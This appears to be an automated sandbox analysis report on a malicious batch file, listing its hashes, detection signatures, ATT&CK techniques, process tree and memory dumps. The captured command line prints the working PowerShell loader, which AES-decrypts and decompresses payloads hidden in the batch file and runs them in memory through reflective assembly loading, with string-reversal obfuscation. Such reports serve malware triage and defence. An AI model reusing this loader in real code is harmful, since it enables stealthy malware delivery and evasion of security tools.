39532fe4477427729c951df53e455c6e67925adf3920138063e0064531ccc1c4

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05/03/2025, 00:11

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General

Target

skibidigenesis.bat
Size

397KB
MD5

72c4399da0d8899b4e60ba732d20ac70
SHA1

ff22be71d8e3be9473c711a997619804588c8dbc
SHA256

39532fe4477427729c951df53e455c6e67925adf3920138063e0064531ccc1c4
SHA512

58a928f109ae7a1ef307ca7babfe44ed218095d2bd7f4d637acf1d145be6d7fbb95d038d743c42b72f605c77fe5cbca603baca224e36e48e4c063ebb1b20a6df
SSDEEP

12288:1+WS3omtKVLLk59mhJi1GKIuVHhp3oPOLxc1jAFtr3kggy:QWBDLQ54kHjoP4iVobkggy

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2816	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2816	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2816	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 2804	3028	cmd.exe	32
PID 3028 wrote to memory of 2804	3028	cmd.exe	32
PID 3028 wrote to memory of 2804	3028	cmd.exe	32
PID 3028 wrote to memory of 2816	3028	cmd.exe	33
PID 3028 wrote to memory of 2816	3028	cmd.exe	33
PID 3028 wrote to memory of 2816	3028	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\skibidigenesis.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0DhmhMNr65U2LjTJhoKpzIxw0wZqQLl/kh0GnMQQYjU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UREvY15sxapeLe2YvOFrrw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $wdjfl=New-Object System.IO.MemoryStream(,$param_var); $IlgNN=New-Object System.IO.MemoryStream; $XkowE=New-Object System.IO.Compression.GZipStream($wdjfl, [IO.Compression.CompressionMode]::Decompress); $XkowE.CopyTo($IlgNN); $XkowE.Dispose(); $wdjfl.Dispose(); $IlgNN.Dispose(); $IlgNN.ToArray();}function execute_function($param_var,$param2_var){ $Xcfjm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZVfvM=$Xcfjm.EntryPoint; $ZVfvM.Invoke($null, $param2_var);}$Ktuyg = 'C:\Users\Admin\AppData\Local\Temp\skibidigenesis.bat';$host.UI.RawUI.WindowTitle = $Ktuyg;$mJVHb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Ktuyg).Split([Environment]::NewLine);foreach ($FoAar in $mJVHb) { if ($FoAar.StartsWith('lcdRYrvHHVkZCxwzUjvy')) { $ifSQW=$FoAar.Substring(20); break; }}$payloads_var=[string[]]$ifSQW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2816-4-0x000007FEF511E000-0x000007FEF511F000-memory.dmp

Filesize
4KB

Download
memory/2816-5-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2816-6-0x0000000001C10000-0x0000000001C18000-memory.dmp

Filesize
32KB

Download
memory/2816-7-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

Filesize
9.6MB

Download
memory/2816-8-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

Filesize
9.6MB

Download
memory/2816-9-0x000007FEF4E60000-0x000007FEF57FD000-memory.dmp

Filesize
9.6MB

Download
memory/2816-10-0x000007FEF511E000-0x000007FEF511F000-memory.dmp

Filesize
4KB

Download